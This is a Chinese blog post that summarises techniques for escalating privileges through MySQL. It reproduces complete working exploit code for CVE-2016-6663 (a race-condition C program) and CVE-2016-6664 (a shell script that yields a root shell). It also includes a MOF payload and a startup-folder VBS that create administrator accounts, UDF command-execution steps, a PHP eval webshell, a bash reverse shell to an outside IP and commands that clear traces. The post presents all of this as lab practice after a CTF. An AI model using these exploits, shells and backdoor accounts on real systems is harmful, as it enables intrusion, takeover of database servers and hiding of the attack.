主頁 >  其他 > web安全:mysql提權總結篇

web安全:mysql提權總結篇

2021-10-25 09:55:21 其他

前言

前兩天參加了省賽的內網滲透,在拿到webshell后發現是一個站庫分離,通過資訊搜集得到了資料庫的賬號密碼,但是是一個www-data權限,執行不了代理的命令,這時候就需要提權到root權限才能夠執行命令,最后還沒有通過udf提權,而是通過/tmp這個目錄能夠修改權限,改為777權限后使用的代理,因為linux打得比較少,我們隊在這個地方卡了很久,導致只打到了第一層網路,第二層內網就沒有時間去打,所以補一下關于mysql的提權知識,

UDF提權

何為UDF

UDF是mysql的一個拓展介面,UDF(Userdefined function)可翻譯為用戶自定義函式,這個是用來拓展Mysql的技術手段,

使用過MySQL的人都知道,MySQL有很多內置函式提供給使用者,包括字串函式、數值函式、日期和時間函式等,給開發人員和使用者帶來了很多方便,

MySQL的內置函式雖然豐富,但畢竟不能滿足所有人的需要,有時候我們需要對表中的資料進行一些處理而內置函式不能滿足需要的時候,就需要對MySQL進行一些擴展,

幸運的是,MySQL給使用者提供了添加新函式的機制,這種使用者自行添加的MySQL函式就稱為UDF(User Define Function),其實除了UDF外,使用者還可以將函式添加為MySQL的固有(內建)函式,固有函式被編譯進mysqld服務器中,稱為永久可用的,不過這種方式較添加UDF復雜,升級維護都較為麻煩,這里我們不做討論,

無論你使用哪種方法去添加新函式,它們都可以被SQL宣告呼叫,就像 ABS()或SUM()這樣的固有函式一樣,

UDF利用條件

1.知道資料庫的用戶和密碼;

2.mysql可以遠程登錄;

3.mysql有寫入檔案的權限,即secure_file_priv的值為空,

關于第一點就不用多說了,可以通過拿到webshell之后翻閱檔案得到,對于不同情況下有不同得獲取方式,這里不再贅述;主要提一下第二三點,

在默認情況下,mysql只允許本地登錄,我們知道可以通過navicat去連接資料庫(在知道帳號密碼的情況下),但是如果只允許本地登錄的情況下,即使知道賬號密碼的情況下也不能夠連接上mysql資料庫,那么在這種情況下就只有通過拿到本機的高權限rdp登陸遠程桌面后連接,

遠程連接對應的設定在mysql目錄下的/etc/mysql/my.conf檔案,對應的設定為bind-address = 127.0.0.1這一行,這是默認情況下的設定,如果我們要允許在任何主機上面都能夠遠程登錄mysql的話,就只要把bind-address改成0.0.0.0即可,即bind-address = 0.0.0.0

光更改組態檔還不夠,還需要給遠程登陸的用戶賦予權限,首先新建一個admin/123456用戶,使用%來允許任意ip登錄mysql,這樣我們就能夠通過navicat使用admin/123456用戶遠程連接到資料庫

grant all on *.* to admin@'%' identified by '123456' with grant option;flush privileges;

關于第三點的secure_file_priv引數,這里有三個值,分別為NULL/tmp、空,NULL顧名思義即不允許匯入或匯出,

那么在這種情況下就不能使用sql陳述句向資料庫內寫入任何陳述句,/tmp的意思是只能在/tmp目錄下寫入檔案,這種情況下就需要考慮寫入檔案到檔案夾后能否在網頁上、訪問連接到這個目錄,如果這個值為空,那么就可以通過構造sql陳述句向mysql資料庫下的任何目錄寫入檔案,

這里還有一個需要了解的點就是在mysql5.5版本之前secure_file_priv這個值是默認為空的,那么我們拿到的webshell如果對應的mysql資料庫版本在5.5以下的話操作起來就比較方便,在mysql5.5版本之后secure_file_priv這個值是默認為NULL的,即不能夠往資料庫內寫入檔案,

為了感謝廣大讀者伙伴的支持,準備了以下福利給到大家:
【一>所有資源獲取<一】
1、200多本網路安全系列電子書(該有的都有了)
2、全套工具包(最全中文版,想用哪個用哪個)
3、100份src原始碼技術檔案(專案學習不停,實踐得真知)
4、網路安全基礎入門、Linux、web安全、攻防方面的視頻(2021最新版)
5、網路安全學習路線(告別不入流的學習)
6、ctf奪旗賽決議(題目決議實戰操作)

手動提權

首先這里現在官網下載一個mysql,這里我下載的是5.5.19,注意這里需要下msi檔案,不要下zip檔案

image.png

下載好后進行安裝即可
image.png

這里使用utf-8字符集
image-20210906101843281.png

安裝好后使用mysql -u root -p進入mysql

image.png

因為我是5.5.19版本,必須把 UDF 的元件檔案放置于 MySQL 安裝目錄下的 lib\plugin 檔案夾下檔案夾下才能創建自定義函式,這里說到了元件,元件就是實作共享函式庫概念的一種方式,在windows環境下后綴名為.dll,在linnux環境下后綴名為.so

那么這里利用.dll.so檔案在哪里去找呢?這兩個檔案在sqlmap和msf里面都有內置

首先在sqlmap里面找一下,在sqlmap里面對應的目錄地址為udf/mysql,這里進入目錄后可以看到sqlmap已經幫我們分好類了

image.png

不過 sqlmap 中 自帶這些元件為了防止被誤殺都經過編碼處理過,不能被直接使用,這里如果后綴名為.so_dll_的話,就需要解碼,如果后綴名為.so.dll的話就不需要解碼即可直接使用,這里sqlmap也自帶了解碼的py腳本,在/extra/cloak目錄下,使用cloak.py解密即可,

image.png

命令如下(這里使用到64位的dll,其他版本改后綴名即可)

python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

image.png

image.png

這里好像因為我本機的環境配置的問題這里py3沒有執行成功,這里換到kali環境里面使用py2解密

python2 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

image.png

另外可以用msf提供的元件檔案,這里注意msf里面的元件是已經解密好了的可以直接使用,msf下的元件目錄如下

/usr/share/metasploit-framework/data/exploits/mysql/

image.png

直接拿出來使用010 editor進行查看是包含了一些函式

image.png

解密程序完成之后就需要把解密得到的UDF元件檔案放到mysql的插件目錄下,這里使用如下命令查詢插件目錄的位置

show variables like "%plugin%";

這里可以看到我的插件目錄就是C:\Program Files\MySQL\MySQL Server 5.5\lib/plugin

image.png

使用select @@basedir查看一下MySQL安裝的位置

image.png

這里因為只單獨安裝了一個MySQL,沒有安裝其他的web,所以為了更好的還原環境,這里使用phpstudy來搭建環境,這里假設我已經拿到了一個目標機器的webshell,但是這里權限很低,使用到udf提權

首先來到MySQL/lib檔案夾下,這里可以看到是沒有plugin這個檔案夾的,所以這里需要我們先創建一個檔案夾

image.png

創建plugin檔案夾!

image.png

然后把解密過后的lib_mysqludf_sys_64.dll放到plugin檔案夾下!

這里為了方便我把dll改名為udf.dll,但是這里報錯ERROR 1126,這里我百度過后發現這個dll并不是跟系統位數有關的,而是跟mysql版本有關系,而且phpstudy自帶的mysql版本需要用32位的dll才能夠操作

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

image.png

這里我上傳一個32位的dll到plugin檔案夾內

image.png

再使用命令創建自定義函式即可

image.png

然后使用命令查看是否新增了sys_eval函式

select * from mysql.func;

image.png

可以看到這里創建成功那么就可以執行系統命令,到這里就是一個高權限了,而且如果有disable_functions把函式禁用了,用udf提權也是能夠操作的

image.png

拓展:UDF shell

允許外連

這里可以使用寫好的代碼來自動提權,我們測驗一下

首先把php上傳到可以網頁訪問的位置,這里我直接連接報錯了應該是因為沒有設定可以外連,只允許本地連接,首先實驗一下允許外聯的情況

image.png

這里進入my.ini檔案設定bind-address = 0.0.0.0
image.png

然后創建一個admin/123456用戶允許外連

image.png

再次登錄即可登錄成功

image.png

這里首先dump udf.dllplugin檔案夾下,這里可以看到dump dll成功

image.png

然后創建函式,再執行命令即可
image.png

不允許外連

這里我們再把bind-address = 0.0.0.0這行注釋掉之后進行試驗,因為不允許外連,那么只有本地連接資料庫,這時候很容易想到正向連接我們代理進去連接資料庫,這里使用reg、ew都可以,但是這里因為是mysql的原因,使用navicat自帶的tunnel腳本會更加方便,

首先測驗一下,是不允許外連的

這里上傳nutunnel_mysql.php到靶機上、訪問,這里看到已經連接成功了

image.png

然后連接的時候設定HTTP隧道

image-20210906171330965.png

即可連接到mysql,然后提權操作同前

image.png

MOF提權

mof是windows系統的一個檔案(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管物件格式"其作用是每隔五秒就會去監控行程創建和死亡,其就是用又了mysql的root權限了以后,然后使用root權限去執行我們上傳的mof,隔了一定時間以后這個mof就會被執行,這個mof當中有一段是vbs腳本,這個vbs大多數的是cmd的添加管理員用戶的命令,

利用條件

  1. 只使用于windows系統,一般低版本系統才可以用,比如xpserver2003

  2. C:\Windows\System32\wbem\MOF目錄有讀寫權限

  3. 可以找到一個可寫目錄,寫入mof檔案

手動提權

這里我沒有安裝2003的虛擬機,所以就不放圖了,寫一下提權的步驟

生成testmod.mod檔案并上傳到靶機的可寫目錄

#pragma namespace("\\\\.\\root\\subscription") ?instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name  = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; ?instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test123 /add\")\nWSH.run(\"net.exe localgroup administrators test /add\")"; }; ?instance of __FilterToConsumerBinding { Consumer   = $Consumer; Filter = $EventFilter; };

進入mysql命令列執行匯入命令,匯入完成過后系統會自動運行

select load_file("nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

使用net user命令即可發現已經加入了管理員組

msf提權

msf內置了MOF提權模塊,相比于手動提權的好處就是msf的MOF模塊有自動清理痕跡的功能

use exploit/windows/mysql/mysql_mofset payload windows/meterpreter/reverse_tcpset rhosts 192.168.10.17set username rootset password rootrun

拓展

因為每隔幾分鐘時間又會重新執行添加用戶的命令,所以想要清理痕跡得先暫時關閉 winmgmt 服務再洗掉相關 mof 檔案,這個時候再洗掉用戶才會有效果

# 停止 winmgmt 服務net stop winmgmt# 洗掉 Repository 檔案夾rmdir /s /q C:\Windows\system32\wbem\Repository\# 手動洗掉 mof 檔案del C:\Windows\system32\wbem\mof\good\test.mof /F /S# 洗掉創建的用戶net user hacker /delete# 重新啟動服務net start winmgmt

啟動項提權

windows開機時候都會有一些開機啟動的程式,那時候啟動的程式權限都是system,因為是system把他們啟動的,利用這點,我們可以將自動化腳本寫入啟動項,達到提權的目的,當 Windows 的啟動項可以被 MySQL 寫入的時候可以使用 MySQL 將自定義腳本匯入到啟動項中,這個腳本會在用戶登錄、開機、關機的時候自動運行,

這個地方既然碰到了啟動項提權,就總結一下不限于mysql的啟動項提權方法,

啟動項路徑

在windows2003的系統下,啟動項路徑如下:

C:\Documents and Settings\Administrator\「開始」選單\程式\啟動C:\Documents and Settings\All Users\「開始」選單\程式\啟動

在windows2008的系統下,啟動項路徑如下:

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartupC:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

自動化腳本

我們在拿到一個網站的webshell的時候如果想進一步的獲得網站的服務器權限,查看服務器上系統盤的可讀可寫目錄,若是啟動目錄 “C:\Users\用戶名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” 是可讀可寫的,我們就可以執行上傳一個vbs或者bat的腳本進行提權,

這里使用test.vbs添加用戶密碼,上傳到啟動目錄重啟的時候即可自動添加賬號密碼

set wshshell=createobject("wscript.shell")a=wshshell.run("cmd.exe /c net user test test123 /add",0)b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)

使用sql陳述句

連接到mysql之后創建一個表寫入sql陳述句

use mysql;create table test(cmd text);insert into a values(“set wshshell=createobject(“”wscript.shell””)”);insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);select * from a into outfile “C:\Documents and Settings\All Users\「開始」選單\程式\啟動\secist.vbs”;

image.png

重啟之后即可提權

image.png

CVE-2016-6663&CVE-2016-6664

CVE-2016-6663是競爭條件(race condition)漏洞,它能夠讓一個低權限賬號(擁有CREATE/INSERT/SELECT權限)提升權限并且以系統用戶身份執行任意代碼,也就是說,我們可以通過他得到一整個mysql的權限,

CVE-2016-6664是root權限提升漏洞,這個漏洞可以讓擁有MySQL系統用戶權限的攻擊者提升權限至root,以便進一步攻擊整個系統,

導致這個問題的原因其實是因為MySQL對錯誤日志以及其他檔案的處理不夠安全,這些檔案可以被替換成任意的系統檔案,從而被利用來獲取root權限,可以看到,兩個cve分別是用來將低權限的www-data權限提升為mysql權限,然后再將mysql提升為root權限,

利用條件

CVE-2016-6663

1.已經getshell,獲得www-data權限

2.獲取到一個擁有create,drop,insert,select權限的資料庫賬號,密碼

3.提權程序需要在互動式的shell環境中運行,所以需要反彈shell再提權

4.Mysql<5.5.51或<5.6.32或<5.7.14

CVE-2016-6664

1.目標主機配置必須是是基于檔案的日志(默認配置),也就是不能是syslog方式(通過cat /etc/mysql/conf.d/mysqld_safe_syslog.cnf查看沒有包含“syslog”字樣即可)

2.需要在mysql權限下運行才能利用

3.Mysql<5.5.51或<5.6.32或<5.7.14

環境搭建

這里使用到tutum/lamp的鏡像環境,運行docker并連接

docker pull tutum/lampdocker run -d -P tutum/lampdocker psdocker exec -it b9 /bin/bash

image.png

安裝apt,wget,gcc,libmysqlclient-dev

apt updateapt install -y wget gcc libmysqlclient-dev

image.png

寫入一個一句話木馬方便后續連接,這里注意,linux環境下用echo命令寫入木馬需要加' '進行轉義,否則會報錯

cd /var/htmlecho '<?php @eval($_POST['hacker']); ?>' > shell.php

image.png

給web路徑賦予777權限

chmod -R 777 /var/www/html

進入mysql環境添加一個對test庫有create,drop,insert,select權限的test用戶,密碼為123456

image.png

將apache2和mysql服務重啟并重新保存容器,將新容器的80埠映射到8080埠,3306映射到3306埠的方式運行容器,

service restart apache2service restart mysqlocker commit c0ae81326db0 test/lampdocker run -d -p 8080:80 -p 3306:3306 test/lamp

image.png

訪問一下8080埠若出現如下界面則環境搭建成功

image.png

CVE-2016-6663

cve-2016-6663即將www-data權限提升為mysql權限,首先連接我們之前寫入的webshell

image.png

首先看一下權限跟目錄的可執行狀況,可以看到html目錄下是777!image.png

然后寫入exp,命名為mysql-privesc-race.c,exp如下所示

#include <fcntl.h>#include <grp.h>#include <mysql.h>#include <pwd.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/inotify.h>#include <sys/stat.h>#include <sys/types.h>#include <sys/wait.h>#include <time.h>#include <unistd.h>#define EXP_PATH          "/tmp/mysql_privesc_exploit"#define EXP_DIRN          "mysql_privesc_exploit"#define MYSQL_TAB_FILE    EXP_PATH "/exploit_table.MYD"#define MYSQL_TEMP_FILE   EXP_PATH "/exploit_table.TMD"#define SUID_SHELL   	  EXP_PATH "/mysql_suid_shell.MYD"#define MAX_DELAY 1000    // can be used in the race to adjust the timing if necessaryMYSQL *conn;		  // DB handlesMYSQL_RES *res;MYSQL_ROW row;unsigned long cnt;void intro() {printf( "\033[94m\n""MySQL/Percona/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n""mysql-privesc-race.c (ver. 1.0)\n\n""CVE-2016-6663 / CVE-2016-5616\n\n""For testing purposes only. Do no harm.\n\n""Discovered/Coded by:\n\n""Dawid Golunski \n""http://legalhackers.com""\033[0m\n\n");}void usage(char *argv0) {intro();printf("Usage:\n\n%s user pass db_host database\n\n", argv0);}void mysql_cmd(char *sql_cmd, int silent) {if (!silent) {printf("%s \n", sql_cmd);}if (mysql_query(conn, sql_cmd)) {fprintf(stderr, "%s\n", mysql_error(conn));exit(1);}res = mysql_store_result(conn);if (res>0) mysql_free_result(res);}int main(int argc,char **argv){int randomnum = 0;int io_notified = 0;int myd_handle;int wpid;int is_shell_suid=0;pid_t pid;int status;struct stat st;/* io notify */int fd;int ret;char buf[4096] __attribute__((aligned(8)));int num_read;struct inotify_event *event;/* credentials */char *user     = argv[1];char *password = argv[2];char *db_host  = argv[3];char *database = argv[4];// Disable buffering of stdoutsetvbuf(stdout, NULL, _IONBF, 0);// Get the paramsif (argc!=5) {usage(argv[0]);exit(1);} intro();// Show initial privilegesprintf("\n[+] Starting the exploit as: \n");system("id");// Connect to the database server with provided credentialsprintf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);conn = mysql_init(NULL);if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {fprintf(stderr, "%s\n", mysql_error(conn));exit(1);}// Prepare tmp dirprintf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);umask(000);system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);system("chmod g+s /tmp/" EXP_DIRN );// Prepare exploit tables :)printf("\n[+] Creating mysql tables \n\n");mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);// Copy /bin/bash into the mysql_suid_shell.MYD mysql table file// The file should be owned by mysql:attacker thanks to the sticky bit on the table directoryprintf("\n[+] Copying bash into the mysql_suid_shell table.\n    After the exploitation the following file/table will be assigned SUID and executable bits : \n");system("cp /bin/bash " SUID_SHELL);system("ls -l " SUID_SHELL);// Use inotify to get the timing rightfd = inotify_init();if (fd < 0) {printf("failed to inotify_init\n");return -1;}ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);/* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */printf("\n[+] Entering the race loop... Hang in there...\n");while ( is_shell_suid != 1 ) {cnt++;if ( (cnt % 100) == 0 ) {printf("->");//fflush(stdout);	}/* Create empty file , remove if already exists */unlink(MYSQL_TEMP_FILE);unlink(MYSQL_TAB_FILE);mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);/* random num if needed */srand ( time(NULL) );randomnum = ( rand() % MAX_DELAY );// Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlinkpid = fork();if (pid < 0) {fprintf(stderr, "Fork failed :(\n");}/* Child process - executes REPAIR TABLE  SQL statement */if (pid == 0) {usleep(500);unlink(MYSQL_TEMP_FILE);mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);// child stops hereexit(0);}/* Parent process - aims to replace the temp .tmd table with a symlink before chmod */if (pid > 0 ) {io_notified = 0;while (1) {int processed = 0;ret = read(fd, buf, sizeof(buf));if (ret < 0) {break;}while (processed < ret) {event = (struct inotify_event *)(buf + processed);if (event->mask & IN_CLOSE) {if (!strcmp(event->name, "exploit_table.TMD")) {//usleep(randomnum);// Set the .MYD permissions to suid+exec before they get copied to the .TMD file unlink(MYSQL_TAB_FILE);myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);close(myd_handle);chmod(MYSQL_TAB_FILE, 04777);// Replace the temp .TMD file with a symlink to the target sh binary to get suid+execunlink(MYSQL_TEMP_FILE);symlink(SUID_SHELL, MYSQL_TEMP_FILE);io_notified=1;}}processed += sizeof(struct inotify_event);}if (io_notified) {break;}}waitpid(pid, &status, 0);}// Check if SUID bit was set at the end of this attemptif ( lstat(SUID_SHELL, &st) == 0 ) {if (st.st_mode & S_ISUID) {is_shell_suid = 1;}} }printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);system("ls -l " SUID_SHELL);printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n    Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");system(SUID_SHELL " -p -i ");//system(SUID_SHELL " -p -c '/bin/bash -i -p'");/* close MySQL connection and exit */printf("\n[+] Job done. Exiting\n\n");mysql_close(conn);return 0;}

image.png

這里我直接用蟻劍執行的話執行不了

image.png

使用nc配合bash命令反彈后執行命令,即可從www-data權限提升到mysql權限

nc -lvvp 7777/bin/bash -i >& /dev/tcp/192.168.2.161/7777 0>&1cd var/www/html/gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient./mysql-privesc-race test 123456 localhost test

image.png

CVE-2016-6664

cve-2016-6664即把mysql權限提升到root權限

tutum/lamp日志方式不是默認的基于檔案的日志,而是syslog,所以我們首先要將它改為默認配置

vi /etc/mysql/conf.d/mysqld_safe_syslog.cnf

洗掉掉syslog,然后重啟mysql

image.png

使用exp

#!/bin/bash -p## MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit# mysql-chowned.sh (ver. 1.0)## CVE-2016-6664 / OCVE-2016-5617## Discovered and coded by:## Dawid Golunski# dawid[at]legalhackers.com## https://legalhackers.com## Follow https://twitter.com/dawid_golunski for updates on this advisory.## This PoC exploit allows attackers to (instantly) escalate their privileges# from mysql system account to root through unsafe error log handling.# The exploit requires that file-based logging has been configured (default).# To confirm that syslog logging has not been enabled instead use:# grep -r syslog /etc/mysql# which should return no results.## This exploit can be chained with the following vulnerability:# CVE-2016-6663 / OCVE-2016-5616# which allows attackers to gain access to mysql system account (mysql shell).## In case database server has been configured with syslog you may also use:# CVE-2016-6662 as an alternative to this exploit.## Usage:# ./mysql-chowned.sh path_to_error.log ### See the full advisory for details at:# https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html## Video PoC:# https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html## Disclaimer:# For testing purposes only. Do no harm.#BACKDOORSH="/bin/bash"BACKDOORPATH="/tmp/mysqlrootsh"PRIVESCLIB="/tmp/privesclib.so"PRIVESCSRC="/tmp/privesclib.c"SUIDBIN="/usr/bin/sudo"function cleanexit {# Cleanup echo -e "\n[+] Cleaning up..."rm -f $PRIVESCSRCrm -f $PRIVESCLIBrm -f $ERRORLOGtouch $ERRORLOGif [ -f /etc/ld.so.preload ]; thenecho -n > /etc/ld.so.preloadfiecho -e "\n[+] Job done. Exiting with code $1 \n"exit $1}function ctrl_c() {echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."cleanexit 0}#intro echo -e "\033[94m \nMySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / OCVE-2016-5617\n"echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"# Argsif [ $# -lt 1 ]; thenecho -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"exit 3fi# Priv checkecho -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m"id | grep -q mysql if [ $? -ne 0 ]; thenecho -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n"exit 3fi# Set target pathsERRORLOG="$1"if [ ! -f $ERRORLOG ]; thenecho -e "\n[!] The specified MySQL catalina.out log ($ERRORLOG) doesn't exist. Try again.\n"exit 3fiecho -e "\n[+] Target MySQL log file set to $ERRORLOG"# [ Active exploitation ]trap ctrl_c INT# Compile privesc preload libraryecho -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"cat <<_solibeof_>$PRIVESCSRC#define _GNU_SOURCE#include <stdio.h>#include <sys/stat.h>#include <unistd.h>#include <dlfcn.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>uid_t geteuid(void) {static uid_t  (*old_geteuid)();old_geteuid = dlsym(RTLD_NEXT, "geteuid");if ( old_geteuid() == 0 ) {chown("$BACKDOORPATH", 0, 0);chmod("$BACKDOORPATH", 04777);//unlink("/etc/ld.so.preload");}return old_geteuid();}_solibeof_/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"if [ $? -ne 0 ]; thenecho -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."cleanexit 2;fi# Prepare backdoor shellcp $BACKDOORSH $BACKDOORPATHecho -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"# Safety checkif [ -f /etc/ld.so.preload ]; thenecho -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."exit 2fi# Symlink the log file to /etcrm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOGif [ $? -ne 0 ]; thenecho -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."cleanexit 3fiecho -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`"# Wait for MySQL to re-open the logsecho -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n"read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWERif [ "$THE_ANSWER" = "y" ]; thenecho -e "Got it. Executing 'killall mysqld' now..."killall mysqldfiwhile :; do sleep 0.1if [ -f /etc/ld.so.preload ]; thenecho $PRIVESCLIB > /etc/ld.so.preloadrm -f $ERRORLOGbreak;fidone# /etc/    dir should be owned by mysql user at this point# Inject the privesc.so shared library to escalate privilegesecho $PRIVESCLIB > /etc/ld.so.preloadecho -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`"echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"chmod 755 /etc/ld.so.preload# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"sudo 2>/dev/null >/dev/null#while :; do #    sleep 0.1#    ps aux | grep mysqld | grep -q 'log-error'#    if [ $? -eq 0 ]; then#        break;#    fi#done# Check for the rootshellls -l $BACKDOORPATHls -l $BACKDOORPATH | grep rws | grep -q rootif [ $? -eq 0 ]; then echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m"elseecho -e "\n[!] Failed to get root"cleanexit 2fi# Execute the rootshellecho -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"$BACKDOORPATH -p# Job done.cleanexit 0

在剛才mysql權限的shell中下載提權腳本并執行,即可得到root權限

wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.shchmod 777 mysql-chowned.sh./mysql-chowned.sh /var/log/mysql/error.log

image.png

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/335436.html

標籤:其他

上一篇:明文加密、訊息摘要、數字簽名、數字證書

下一篇:DC-1詳解(絕對的詳細!)

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

